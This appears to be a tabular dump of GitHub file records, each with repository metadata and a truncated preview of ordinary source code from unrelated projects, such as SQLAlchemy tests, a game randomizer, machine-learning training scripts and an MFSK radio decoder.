] | null | null | null | python/test/mapreduce/status_test.py | Khan/appengine-mapreduce-1 | 7afdd4f6ae523c55a12273dec6649d7f71ce2379 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
#
# Copyright 2010 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 35.794783 | 80 | 0.620396 |
abe1adb6164e2536c240dd2fa3311cb720f14fe2 | 371 | py | Python | diego/classifier/__init__.py | lai-bluejay/diego-automl | 84e8255cf372be43ae9ca9a4586faadc4d5750a2 | [
"MIT"
] | 7 | 2019-03-22T14:56:06.000Z | 2021-02-02T02:19:19.000Z | diego/classifier/__init__.py | lai-bluejay/diego-automl | 84e8255cf372be43ae9ca9a4586faadc4d5750a2 | [
"MIT"
] | 1 | 2019-05-30T03:34:18.000Z | 2019-06-20T13:47:08.000Z | diego/classifier/__init__.py | lai-bluejay/diego-automl | 84e8255cf372be43ae9ca9a4586faadc4d5750a2 | [
"MIT"
] | 2 | 2020-04-17T14:11:59.000Z | 2021-02-02T02:19:28.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
classifier/__init__.py was created on 2019/04/25.
file in :relativeFile
Author: Charles_Lai
Email: lai.bluejay@gmail.com
"""
from diego.classifier.base import DiegoClassifier
from diego.classifier.logistic_regression import LogisticRegressionSMAC
from diego.classifier... | 30.916667 | 72 | 0.808625 |
a91999d5a65a7349dc79e5e98f0fe295bfa31eb7 | 37,812 | py | Python | Plandomizer.py | maedas/OoTR-BQ | ef98b0d84b3fb7364af45a31c98e6b271c365f5c | [
"MIT"
] | null | null | null | Plandomizer.py | maedas/OoTR-BQ | ef98b0d84b3fb7364af45a31c98e6b271c365f5c | [
"MIT"
] | 2 | 2019-12-04T12:58:13.000Z | 2019-12-04T13:01:30.000Z | Plandomizer.py | maedas/OoTR-BQ | ef98b0d84b3fb7364af45a31c98e6b271c365f5c | [
"MIT"
] | null | null | null | import itertools
import json
import logging
import re
import random
from functools import reduce
from Fill import FillError
from EntranceShuffle import EntranceShuffleError, change_connections, confirm_replacement, validate_world, check_entrances_compatibility
from Hints import gossipLocations, GossipText
from Item i... | 40.833693 | 213 | 0.595843 |
6b2fc926268e267e0d7700d1b46266abb44556a0 | 11,712 | py | Python | how-to-use-azureml/automated-machine-learning/forecasting-beer-remote/infer.py | rigidz/https-github.com-Azure-MachineLearningNotebooks | 8f2fa913209c21498fa67e08394bace12b47e2a4 | [
"MIT"
] | 2 | 2019-05-03T20:20:39.000Z | 2019-05-05T17:54:43.000Z | how-to-use-azureml/automated-machine-learning/forecasting-beer-remote/infer.py | rigidz/https-github.com-Azure-MachineLearningNotebooks | 8f2fa913209c21498fa67e08394bace12b47e2a4 | [
"MIT"
] | null | null | null | how-to-use-azureml/automated-machine-learning/forecasting-beer-remote/infer.py | rigidz/https-github.com-Azure-MachineLearningNotebooks | 8f2fa913209c21498fa67e08394bace12b47e2a4 | [
"MIT"
] | 5 | 2019-05-03T20:20:53.000Z | 2019-05-04T13:01:49.000Z | import pandas as pd
import numpy as np
import argparse
from azureml.core import Run
from sklearn.externals import joblib
from sklearn.metrics import mean_absolute_error, mean_squared_error
from azureml.automl.core._vendor.automl.client.core.common import metrics
from automl.client.core.common import constants
from pand... | 36.6 | 79 | 0.683145 |
139ddfda1eb0e72680be2a4207e57dda1829da6d | 8,857 | py | Python | src/orion/core/io/convert.py | mnoukhov/orion | 7849d77344e84ec805207cf4148aecf6f7d6b3d7 | [
"BSD-3-Clause"
] | 3 | 2019-12-13T03:41:19.000Z | 2021-06-15T20:14:33.000Z | src/orion/core/io/convert.py | mnoukhov/orion | 7849d77344e84ec805207cf4148aecf6f7d6b3d7 | [
"BSD-3-Clause"
] | null | null | null | src/orion/core/io/convert.py | mnoukhov/orion | 7849d77344e84ec805207cf4148aecf6f7d6b3d7 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""
:mod:`orion.core.worker.convert` -- Parse and generate user script's configuration
==================================================================================
.. module:: convert
:platform: Unix
:synopsis: Defines and instantiates a converter for configuration file types.
Give... | 33.934866 | 97 | 0.612284 |
ad30bfa1c19b1e9d432e2e6eac4f6d7369e46e29 | 2,956 | py | Python | plugins/tff_backend/bizz/todo/__init__.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | null | null | null | plugins/tff_backend/bizz/todo/__init__.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 178 | 2017-08-02T12:58:06.000Z | 2017-12-20T15:01:12.000Z | plugins/tff_backend/bizz/todo/__init__.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 2 | 2018-01-10T10:43:12.000Z | 2018-03-18T10:42:23.000Z | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | 35.614458 | 84 | 0.743572 |
dc5bd4d485a347280a524d889f9db0a688004898 | 25,993 | py | Python | mmtbx/pdbtools.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 155 | 2016-11-23T12:52:16.000Z | 2022-03-31T15:35:44.000Z | mmtbx/pdbtools.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 590 | 2016-12-10T11:31:18.000Z | 2022-03-30T23:10:09.000Z | mmtbx/pdbtools.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 115 | 2016-11-15T08:17:28.000Z | 2022-02-09T15:30:14.000Z | from __future__ import absolute_import, division, print_function
import iotbx.phil
from cctbx import crystal
from mmtbx.refinement import rigid_body
from cctbx.array_family import flex
from libtbx.utils import Sorry
import random
import scitbx.matrix
import sys
import scitbx.rigid_body
from libtbx import group_args
imp... | 37.725689 | 171 | 0.699111 |
11072bc808e03b267b82f207213b9bb3e6ee2728 | 3,757 | py | Python | travis_pypi_setup.py | takeontom/PyLuxafor | 38f4107226e3ae0c71a7d3291a493be4d5d612e1 | [
"MIT"
] | 8 | 2018-04-06T13:35:04.000Z | 2020-12-14T19:27:44.000Z | travis_pypi_setup.py | takeontom/PyLuxafor | 38f4107226e3ae0c71a7d3291a493be4d5d612e1 | [
"MIT"
] | 380 | 2016-12-14T22:08:42.000Z | 2022-03-28T09:03:19.000Z | travis_pypi_setup.py | takeontom/PyLuxafor | 38f4107226e3ae0c71a7d3291a493be4d5d612e1 | [
"MIT"
] | 7 | 2017-06-01T19:35:35.000Z | 2020-06-12T21:39:45.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Update encrypted deploy password in Travis config file
"""
from __future__ import print_function
import base64
import json
import os
from getpass import getpass
import yaml
from cryptography.hazmat.primitives.serialization import load_pem_public_key
from cryptography.h... | 30.544715 | 79 | 0.700559 |
dd1dff33dd336c58f6616b4e5ccac9cf20b34866 | 193 | py | Python | redis/commands/search/_util.py | barshaul/redis-py | bf3d21d1626297d55e43d79d75d1668d3d4dc111 | [
"MIT"
] | 483 | 2021-10-11T22:11:32.000Z | 2022-03-31T20:30:32.000Z | redis/commands/search/_util.py | barshaul/redis-py | bf3d21d1626297d55e43d79d75d1668d3d4dc111 | [
"MIT"
] | 423 | 2021-10-13T09:07:29.000Z | 2022-03-31T09:13:03.000Z | redis/commands/search/_util.py | barshaul/redis-py | bf3d21d1626297d55e43d79d75d1668d3d4dc111 | [
"MIT"
] | 148 | 2021-10-19T09:43:51.000Z | 2022-03-30T16:35:53.000Z | def to_string(s):
if isinstance(s, str):
return s
elif isinstance(s, bytes):
return s.decode("utf-8", "ignore")
else:
return s # Not a string we care about
| 24.125 | 46 | 0.57513 |
b1fc81413080b93b2a5e710dfe27fdd773f55449 | 497 | py | Python | tests/test_airbnb_db.py | karthikramasamy/cmpe272-project | bd11184ecb2630c853f01c0af24e6be308837396 | [
"BSD-3-Clause"
] | null | null | null | tests/test_airbnb_db.py | karthikramasamy/cmpe272-project | bd11184ecb2630c853f01c0af24e6be308837396 | [
"BSD-3-Clause"
] | null | null | null | tests/test_airbnb_db.py | karthikramasamy/cmpe272-project | bd11184ecb2630c853f01c0af24e6be308837396 | [
"BSD-3-Clause"
] | null | null | null | import pytest
from airbnb.airbnb_db import get_db
def test_get_close_db(app):
with app.app_context():
db = get_db()
assert db is get_db()
def test_init_db_command(runner, monkeypatch):
class Recorder(object):
called = False
def fake_init_db():
Recorder.called = True
... | 22.590909 | 65 | 0.688129 |
0417bc9d5029e303393e3da18d7de708a1d60567 | 288 | py | Python | src/corpus/audible.py | tiefenauer/ip9 | 4d50ee288f8a00f64a6f4a7d80639d3dc89df4e8 | [
"MIT"
] | 4 | 2019-06-02T02:56:38.000Z | 2021-11-06T02:29:26.000Z | src/corpus/audible.py | tiefenauer/ip9 | 4d50ee288f8a00f64a6f4a7d80639d3dc89df4e8 | [
"MIT"
] | null | null | null | src/corpus/audible.py | tiefenauer/ip9 | 4d50ee288f8a00f64a6f4a7d80639d3dc89df4e8 | [
"MIT"
] | null | null | null | from abc import ABC, abstractmethod
class Audible(ABC):
"""
Base class for corpus objects that contain an audio signal
"""
@property
@abstractmethod
def audio(self):
return None
@property
@abstractmethod
def rate(self):
return None
| 16 | 62 | 0.628472 |
387f5f68773cea65dac2ac72a4ad9ff7b17ef7bb | 388 | py | Python | src/Python/02_Instrukcje_sterujace/Zad4.py | djeada/Nauka-programowania | b1eb6840c15b830acf552f0a0fc5cc692759152f | [
"MIT"
] | 3 | 2020-09-19T21:38:30.000Z | 2022-03-30T11:02:26.000Z | src/Python/02_Instrukcje_sterujace/Zad4.py | djeada/Nauka-programowania | b1eb6840c15b830acf552f0a0fc5cc692759152f | [
"MIT"
] | null | null | null | src/Python/02_Instrukcje_sterujace/Zad4.py | djeada/Nauka-programowania | b1eb6840c15b830acf552f0a0fc5cc692759152f | [
"MIT"
] | 1 | 2022-02-04T09:13:20.000Z | 2022-02-04T09:13:20.000Z | """
Dla dwoch pobranych liczb, wypisz najpierw wieksza potem mniejsza.
"""
if __name__ == "__main__":
print("podaj dwie liczby")
a = int(input())
b = int(input())
if a < b:
print(b)
print(a)
print(" druga liczba jest wieksza od pierwszej")
else:
print(a)
p... | 19.4 | 66 | 0.574742 |
e32ba67705619d662ba423da32ccb828f3111589 | 3,689 | bzl | Python | apple/internal/resource_actions/metals.bzl | mccorkill1/rules_apple | 8562971108c11931618a220731c335e9fab9fb49 | [
"Apache-2.0"
] | null | null | null | apple/internal/resource_actions/metals.bzl | mccorkill1/rules_apple | 8562971108c11931618a220731c335e9fab9fb49 | [
"Apache-2.0"
] | 1 | 2021-02-23T17:44:22.000Z | 2021-02-23T17:44:22.000Z | apple/internal/resource_actions/metals.bzl | mccorkill1/rules_apple | 8562971108c11931618a220731c335e9fab9fb49 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | 33.234234 | 93 | 0.674709 |
2a71b6466ed1df0c69d0c7d2fcaa420eb97582c0 | 54 | py | Python | src/model/components/__init__.py | atick-faisal/PyTorch-Starter | 031f8e4f2a8b22ba4254ce0730598791d0b1673d | [
"MIT"
] | null | null | null | src/model/components/__init__.py | atick-faisal/PyTorch-Starter | 031f8e4f2a8b22ba4254ce0730598791d0b1673d | [
"MIT"
] | null | null | null | src/model/components/__init__.py | atick-faisal/PyTorch-Starter | 031f8e4f2a8b22ba4254ce0730598791d0b1673d | [
"MIT"
] | null | null | null | from .conv import ConvBlock
from .mlp import MLPBlock
| 18 | 27 | 0.814815 |
233d14c25fe7a49f70a3e1b8f8d85884cd64588f | 302 | py | Python | bash.py | amirelemam/USP | a8ea2f6bd665b806299f61d05347af9895e3b359 | [
"MIT"
] | 1 | 2020-03-29T02:35:08.000Z | 2020-03-29T02:35:08.000Z | bash.py | amirelemam/Spammer-Detection-and-Sentiment-Analysis | a8ea2f6bd665b806299f61d05347af9895e3b359 | [
"MIT"
] | 10 | 2016-11-30T09:40:31.000Z | 2016-11-30T09:52:59.000Z | bash.py | amirelemam/Spammer-Detection-and-Sentiment-Analysis | a8ea2f6bd665b806299f61d05347af9895e3b359 | [
"MIT"
] | null | null | null | import subprocess
files = ["500k-1M", "1M-1.5M", "1.5M-2M", "2M-2-5M", "2.5M-3M",
"3M-3-5M", "3.5M-4M", "4M-4-5M", "4.5M-5M","5M-5-5M", "5.5M-6M",
"6M-6-5M", "6.5M-7M", "7M-7-5M"]
for item in files:
subprocess.call(["python", "spammer_detection_and_sentiment_analysis.py", item])
| 33.555556 | 84 | 0.569536 |
2e66d409e4c62138c6d10e4e77862ad3d2f8018c | 5,769 | py | Python | olivia-rx.py | blikkentrommel/olivia-python | 24919599960ada89879a4608d8704e1e1480c860 | [
"MIT"
] | null | null | null | olivia-rx.py | blikkentrommel/olivia-python | 24919599960ada89879a4608d8704e1e1480c860 | [
"MIT"
] | 1 | 2022-01-12T02:31:37.000Z | 2022-01-12T08:14:50.000Z | olivia-rx.py | blikkentrommel/olivia-python | 24919599960ada89879a4608d8704e1e1480c860 | [
"MIT"
] | null | null | null | #!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
OLIVIA MFSK Modulator
@author: Federico Santandrea
Source code is lightly commented for clarity.
Please read the document to better understand the various processes.
"""
# Libraries
import os, sys
import numpy as np
import sounddevice as sd
from numpy.fft i... | 24.866379 | 84 | 0.500953 |
436e627f321a4c2846704de7f7d244c01207706b | 2,242 | py | Python | Z_ALL_FILE/Py1/tstststs.py | omikabir/omEngin | b8c04a5c2c12ffc3d0b67c2ceba9e5741d3f9195 | [
"Apache-2.0"
] | null | null | null | Z_ALL_FILE/Py1/tstststs.py | omikabir/omEngin | b8c04a5c2c12ffc3d0b67c2ceba9e5741d3f9195 | [
"Apache-2.0"
] | null | null | null | Z_ALL_FILE/Py1/tstststs.py | omikabir/omEngin | b8c04a5c2c12ffc3d0b67c2ceba9e5741d3f9195 | [
"Apache-2.0"
] | 1 | 2021-04-29T21:46:02.000Z | 2021-04-29T21:46:02.000Z | import pandas as pd
def countif(col_as_range,criteria):
# col_as_range can be list or daraframe series
if isinstance(col_as_range,list):
count = col_as_range.count(criteria)
return count
elif isinstance(col_as_range, pd.core.series.Series):
col_range_list = col_as_range.values.tolis... | 39.333333 | 113 | 0.607493 |
3ae2122a5cdb4a6a1e0b7c1ad6b50f14236eb3d4 | 10,998 | py | Python | exampleWatchlistUI.py | laurencejbelliott/groupB4OMDB_API | e5d79cbe17b50ceeb17bcd08d1107ac694d835ac | [
"MIT"
] | 1 | 2018-11-25T12:29:46.000Z | 2018-11-25T12:29:46.000Z | exampleWatchlistUI.py | laurencejbelliott/groupB4OMDB_API | e5d79cbe17b50ceeb17bcd08d1107ac694d835ac | [
"MIT"
] | null | null | null | exampleWatchlistUI.py | laurencejbelliott/groupB4OMDB_API | e5d79cbe17b50ceeb17bcd08d1107ac694d835ac | [
"MIT"
] | 1 | 2018-12-13T12:42:00.000Z | 2018-12-13T12:42:00.000Z | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'exampleWatchlist.ui'
#
# Created by: PyQt4 UI code generator 4.11.4
#
# WARNING! All changes made in this file will be lost!
# This code is to be used as a reference for the code for generating the watchlist
# window when a user loads their... | 56.4 | 115 | 0.726314 |
913cae46ed5e7916338153c8a0bf517efd4902e3 | 684 | py | Python | python/packages/isce3/geometry/__init__.py | piyushrpt/isce3 | 1741af321470cb5939693459765d11a19c5c6fc2 | [
"Apache-2.0"
] | null | null | null | python/packages/isce3/geometry/__init__.py | piyushrpt/isce3 | 1741af321470cb5939693459765d11a19c5c6fc2 | [
"Apache-2.0"
] | null | null | null | python/packages/isce3/geometry/__init__.py | piyushrpt/isce3 | 1741af321470cb5939693459765d11a19c5c6fc2 | [
"Apache-2.0"
] | null | null | null | #-*- coding: utf-8 -*-
# Import the wrappers
from .Rdr2geo import rdr2geo_point, rdr2geo_cone
from .Geo2rdr import geo2rdr_point
from .geometry import getGeoPerimeter
def rdr2geo(**kwds):
"""A factory for Rdr2geo"""
from .Rdr2geo import Rdr2geo
return Rdr2geo(**kwds)
def geo2rdr(**kwds):
"""A facto... | 20.117647 | 48 | 0.69152 |
07ea7878a74b9bccd1d09edd3d3e5cb0891f24c6 | 14,938 | py | Python | test/test_dvr.py | mjnitp/vpp | 537e85deab6fd916952ff4badeda4ec5d6f1a121 | [
"Apache-2.0"
] | 1 | 2019-03-23T21:06:14.000Z | 2019-03-23T21:06:14.000Z | test/test_dvr.py | fantastic2085/vpp | c599c6f001bc28e1023fb5e74a27db37b1aae847 | [
"Apache-2.0"
] | 1 | 2021-06-01T23:31:18.000Z | 2021-06-01T23:31:18.000Z | test/test_dvr.py | fantastic2085/vpp | c599c6f001bc28e1023fb5e74a27db37b1aae847 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
import unittest
from framework import VppTestCase, VppTestRunner
from vpp_sub_interface import VppDot1QSubint
from vpp_ip_route import VppIpRoute, VppRoutePath
from vpp_papi_provider import L2_VTR_OP, L2_PORT_TYPE
from scapy.packet import Raw
from scapy.layers.l2 import Ether, Dot1Q
from scapy.l... | 37.627204 | 79 | 0.551212 |
6b5eda1b79ebe96d1e9d6bad366cb434fb0157ea | 362 | py | Python | Dataset/Leetcode/train/1/647.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/train/1/647.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/train/1/647.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | class Solution:
def XXX(self, nums: List[int], target: int) -> List[int]:
nums_dict = {}
ret = []
for i in range(len(nums)):
if target - nums[i] not in nums_dict:
nums_dict[nums[i]] = i
else:
ret = [nums_dict.get(target - nums[i]), i]
... | 27.846154 | 61 | 0.461326 |
ae5ed281f4884746a98c97766861b2a5dad3ffc4 | 1,366 | py | Python | OHA/assessments/WHRAssessment.py | openhealthalgorithms/algorithms | 97ce727079ea18607a4144ff1d053a208bbc6c6e | [
"Apache-2.0"
] | 2 | 2017-01-08T11:00:04.000Z | 2017-01-21T17:38:11.000Z | OHA/assessments/WHRAssessment.py | fredhersch/openhealthalgorithms | 97ce727079ea18607a4144ff1d053a208bbc6c6e | [
"Apache-2.0"
] | 9 | 2017-08-20T13:59:28.000Z | 2018-01-20T11:20:12.000Z | OHA/assessments/WHRAssessment.py | openhealthalgorithms/algorithms | 97ce727079ea18607a4144ff1d053a208bbc6c6e | [
"Apache-2.0"
] | 1 | 2017-01-22T09:53:31.000Z | 2017-01-22T09:53:31.000Z | from OHA.assessments.BaseAssessment import BaseAssessment
from OHA.helpers.converters.HipConverter import HipConverter
from OHA.helpers.converters.WaistConverter import WaistConverter
__author__ = 'indrajit'
__email__ = 'eendroroy@gmail.com'
class WHRAssessment(BaseAssessment):
def __init__(self, input_data=None... | 30.355556 | 69 | 0.635432 |
647658c9b7aa65cc4c19d431088458c786d6da07 | 5,041 | py | Python | salt/output/__init__.py | preoctopus/salt | aceaaa0e2f2f2ff29a694393bd82bba0d88fa44d | [
"Apache-2.0"
] | 3 | 2015-04-16T18:42:35.000Z | 2017-10-30T16:57:49.000Z | salt/output/__init__.py | preoctopus/salt | aceaaa0e2f2f2ff29a694393bd82bba0d88fa44d | [
"Apache-2.0"
] | 16 | 2015-11-18T00:44:03.000Z | 2018-10-29T20:48:27.000Z | salt/output/__init__.py | preoctopus/salt | aceaaa0e2f2f2ff29a694393bd82bba0d88fa44d | [
"Apache-2.0"
] | 1 | 2020-10-19T11:49:50.000Z | 2020-10-19T11:49:50.000Z | # -*- coding: utf-8 -*-
'''
Used to manage the outputter system. This package is the modular system used
for managing outputters.
'''
# Import python libs
from __future__ import print_function
from __future__ import absolute_import
import os
import sys
import errno
import logging
import traceback
from salt.ext.six imp... | 28.642045 | 89 | 0.597104 |
53e5778d56f5af9fdcb29309be4063e3b9951ddb | 3,609 | py | Python | system/ilpy.py | melvin2204/Webserver | 653be0c0a3fadbced422a8b57e5a07ad8acef207 | [
"MIT"
] | 1 | 2018-05-05T00:03:03.000Z | 2018-05-05T00:03:03.000Z | system/ilpy.py | melvin2204/Webserver | 653be0c0a3fadbced422a8b57e5a07ad8acef207 | [
"MIT"
] | 2 | 2018-05-04T23:52:49.000Z | 2018-05-11T23:16:13.000Z | system/ilpy.py | melvin2204/Webserver | 653be0c0a3fadbced422a8b57e5a07ad8acef207 | [
"MIT"
] | null | null | null | #inline python parser
import os
import time
import string
import random
StartTag = False #encountered a start tag
code = "" #received code
output = "" #final output
tempFileName = None #name for the temp file
idCode = None
idCodes = []
def work(line,arguments):
global StartTag,code,output,idCode
... | 36.454545 | 168 | 0.613743 |
26ba0f3c4590bd4420a59977df7e33dcd8f652f1 | 18,149 | py | Python | meps_train.py | ylsung/cifar10-fast | 8dcf3841d3ecbf645642f4b78b6adc51d4920f9e | [
"MIT"
] | null | null | null | meps_train.py | ylsung/cifar10-fast | 8dcf3841d3ecbf645642f4b78b6adc51d4920f9e | [
"MIT"
] | null | null | null | meps_train.py | ylsung/cifar10-fast | 8dcf3841d3ecbf645642f4b78b6adc51d4920f9e | [
"MIT"
] | null | null | null | import os
import argparse
import numpy as np
import torch
import torch.nn as nn
from collections import namedtuple, OrderedDict
import torchvision as tv
import torch.nn.functional as F
from torch.utils.data import DataLoader, Dataset, Subset
from torch import optim
from functools import partial
import copy
import math
... | 30.657095 | 151 | 0.621412 |
d0d929e3c3c2558e6386a512e5f7335a06f68a7e | 1,330 | py | Python | sb_service/daemons/ScorebotDaemonJava.py | isabella232/scorebot | 71f26a73b04c419ed0ccfbe73575d4b02fa26595 | [
"Apache-2.0"
] | 63 | 2019-11-22T23:54:21.000Z | 2020-10-15T16:42:34.000Z | sb_service/daemons/ScorebotDaemonJava.py | isabella232/scorebot | 71f26a73b04c419ed0ccfbe73575d4b02fa26595 | [
"Apache-2.0"
] | null | null | null | sb_service/daemons/ScorebotDaemonJava.py | isabella232/scorebot | 71f26a73b04c419ed0ccfbe73575d4b02fa26595 | [
"Apache-2.0"
] | 11 | 2019-11-23T04:41:15.000Z | 2021-06-10T15:14:21.000Z | import logging
from logging import config
import sys
from common.orm_loaded_constants import constants
from sb_service.common import logging_util
from external_tools.daemon.daemonize import Daemon
from sb_service.daemons.ScorebotDaemon import ScorebotDaemon
class ScorebotDaemonJava(Daemon):
"""
The ScorebotDa... | 38 | 119 | 0.745865 |
c68fa4a0c81c6cb70606a00ba779339ec40f8bae | 1,122 | py | Python | filescan_cli/service/system.py | filescanio/fsio-cli | 5129fbf06dd4a4fbf3a3237d3b7cbe73c9526fa8 | [
"MIT"
] | null | null | null | filescan_cli/service/system.py | filescanio/fsio-cli | 5129fbf06dd4a4fbf3a3237d3b7cbe73c9526fa8 | [
"MIT"
] | 3 | 2022-03-15T08:53:59.000Z | 2022-03-18T17:52:09.000Z | filescan_cli/service/system.py | filescanio/fsio-cli | 5129fbf06dd4a4fbf3a3237d3b7cbe73c9526fa8 | [
"MIT"
] | 1 | 2022-03-22T23:54:03.000Z | 2022-03-22T23:54:03.000Z | import json
from filescan_cli.core.http import HttpRequests
from filescan_cli.common.utils import run_safe
from filescan_cli.service.endpoints import get_endpoint, SYSTEM_INFO, SYSTEM_CONFIG
from filescan_cli.service.headers import get_public_header
class System:
def __init__(self):
self.http_client ... | 26.093023 | 83 | 0.614082 |
87d290b35813849cd2005248400a76043a428293 | 385 | py | Python | python_components/download-file/src/download_file.py | ptitzler/kfp-component-tests | 80b67ec61deb83bf459d69a6f0242b1454fa2d43 | [
"Apache-2.0"
] | null | null | null | python_components/download-file/src/download_file.py | ptitzler/kfp-component-tests | 80b67ec61deb83bf459d69a6f0242b1454fa2d43 | [
"Apache-2.0"
] | null | null | null | python_components/download-file/src/download_file.py | ptitzler/kfp-component-tests | 80b67ec61deb83bf459d69a6f0242b1454fa2d43 | [
"Apache-2.0"
] | 1 | 2022-01-20T01:54:46.000Z | 2022-01-20T01:54:46.000Z | import kfp
def download(url, file_content: kfp.components.OutputPath(str)):
import requests
response = requests.get(url=url)
if response.status_code == 200:
with open(file_content, 'wb') as file_content:
file_content.write(response.content)
else:
raise RuntimeError(f'Down... | 27.5 | 97 | 0.696104 |
71eb7ce42b11063595e4b6144126e9365eac20eb | 35,027 | py | Python | test/orm/declarative/test_typed_mapping.py | petit87/sqlalchemy | 67d674bd63ca36ac32b23f96e2b19e9dac6b0863 | [
"MIT"
] | null | null | null | test/orm/declarative/test_typed_mapping.py | petit87/sqlalchemy | 67d674bd63ca36ac32b23f96e2b19e9dac6b0863 | [
"MIT"
] | null | null | null | test/orm/declarative/test_typed_mapping.py | petit87/sqlalchemy | 67d674bd63ca36ac32b23f96e2b19e9dac6b0863 | [
"MIT"
] | null | null | null | import dataclasses
import datetime
from decimal import Decimal
from typing import Dict
from typing import Generic
from typing import List
from typing import Optional
from typing import Set
from typing import Type
from typing import TypeVar
from typing import Union
from sqlalchemy import BIGINT
from sqlalchemy import C... | 33.390848 | 79 | 0.592086 |
a3df0f2f7c69c4185647f82d458eadb5b3088c43 | 9,978 | py | Python | benchmarks/f3_wrong_hints/scaling_ltl_infinite_state/17-extending_bound_34.py | EnricoMagnago/F3 | c863215c318d7d5f258eb9be38c6962cf6863b52 | [
"MIT"
] | 3 | 2021-04-23T23:29:26.000Z | 2022-03-23T10:00:30.000Z | benchmarks/f3_wrong_hints/scaling_ltl_infinite_state/17-extending_bound_34.py | EnricoMagnago/F3 | c863215c318d7d5f258eb9be38c6962cf6863b52 | [
"MIT"
] | null | null | null | benchmarks/f3_wrong_hints/scaling_ltl_infinite_state/17-extending_bound_34.py | EnricoMagnago/F3 | c863215c318d7d5f258eb9be38c6962cf6863b52 | [
"MIT"
] | 1 | 2021-11-17T22:02:56.000Z | 2021-11-17T22:02:56.000Z | from typing import Tuple, FrozenSet
from collections import Iterable
from mathsat import msat_term, msat_env
from mathsat import msat_make_constant, msat_declare_function
from mathsat import msat_get_integer_type, msat_get_rational_type, msat_get_bool_type
from mathsat import msat_make_and, msat_make_not, msat_mak... | 35.133803 | 89 | 0.62738 |
f1b094dabab78ac45c6dea377c936f76636c9199 | 1,244 | py | Python | src/yativ/scale.py | Ahuge/yativ | 506511c9f5c6d77c6e488f6f593044b78541cfb5 | [
"MIT"
] | null | null | null | src/yativ/scale.py | Ahuge/yativ | 506511c9f5c6d77c6e488f6f593044b78541cfb5 | [
"MIT"
] | null | null | null | src/yativ/scale.py | Ahuge/yativ | 506511c9f5c6d77c6e488f6f593044b78541cfb5 | [
"MIT"
] | null | null | null | import numpy
def scale(input, float_factor):
def downsize(factor):
new_arr = []
for row_index_mult, _ in enumerate(input[::factor]):
new_arr.append([])
for col_index_mult, _ in enumerate(input[0][::factor]):
values = []
for row_factor_index i... | 36.588235 | 77 | 0.515273 |
27259f19c85cb2823b24fb37ca140ea2a132cc06 | 878 | py | Python | paddlespatial/utils/__init__.py | PaddlePaddle/PaddleSpatial | 71e5918b0af9e9640e08901e5e95751b093a40dc | [
"Apache-2.0"
] | 38 | 2021-07-12T15:07:02.000Z | 2022-03-10T12:07:15.000Z | paddlespatial/utils/__init__.py | PaddlePaddle/PaddleSpatial | 71e5918b0af9e9640e08901e5e95751b093a40dc | [
"Apache-2.0"
] | 3 | 2022-03-08T10:54:29.000Z | 2022-03-30T07:19:05.000Z | paddlespatial/utils/__init__.py | PaddlePaddle/PaddleSpatial | 71e5918b0af9e9640e08901e5e95751b093a40dc | [
"Apache-2.0"
] | 2 | 2021-12-07T06:47:16.000Z | 2022-02-14T01:43:41.000Z | #!/usr/bin/python
#coding=utf-8
################################################################################
#
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You m... | 33.769231 | 80 | 0.609339 |
e84718556075a03709f91b370f29e2db26f3e99c | 447 | py | Python | lambdata_andrea/__init__.py | supai-red/lambdata_AC | 5c2655b483c01c3386cf79960bcc6a8a9a57c443 | [
"MIT"
] | null | null | null | lambdata_andrea/__init__.py | supai-red/lambdata_AC | 5c2655b483c01c3386cf79960bcc6a8a9a57c443 | [
"MIT"
] | 4 | 2020-03-24T18:06:43.000Z | 2021-06-02T00:49:58.000Z | lambdata_andrea/__init__.py | supai-red/lambdata_AC | 5c2655b483c01c3386cf79960bcc6a8a9a57c443 | [
"MIT"
] | null | null | null | """
lambdata - a collection of data science helper functions
"""
import pandas as pd
import numpy as np
def check_nulls(df):
"""A function to check for and print DataFrame nulls."""
print(df.isnull().sum().sum())
return
def list_series_df(a_list):
"""A function to turn a list, into a se... | 24.833333 | 73 | 0.642058 |
271fe8cb4638bb263355e0c702a01f25cb73e941 | 2,188 | py | Python | django/www/MeteoGaliciaDB/registros/views.py | hugo-lorenzo-mato/Meteo-Galicia-DB | 3dd52534c16216de5f25cd40877d2facc7cffe24 | [
"MIT"
